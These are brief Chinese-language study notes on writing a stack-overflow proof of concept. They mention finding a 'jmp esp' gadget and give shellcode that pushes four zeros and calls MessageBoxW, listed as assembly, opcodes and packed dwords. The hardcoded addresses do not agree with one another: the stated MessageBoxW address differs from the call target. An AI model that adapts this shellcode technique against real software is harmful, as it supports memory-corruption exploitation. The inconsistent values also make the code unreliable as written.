POC/EXP

编写Shellcode/EXP/POC

Stack-Overflow

• 查找jmp esp

MessageBoxW.Addr => 75DF3B90

nop 90
push 0x0        6A 00
push 0x0        6A 00     
push 0x0        6A 00
push 0x0        6A 00
call 771BEA11   E8 XXXX

006a9090
006a006a
2b4233E8
00000075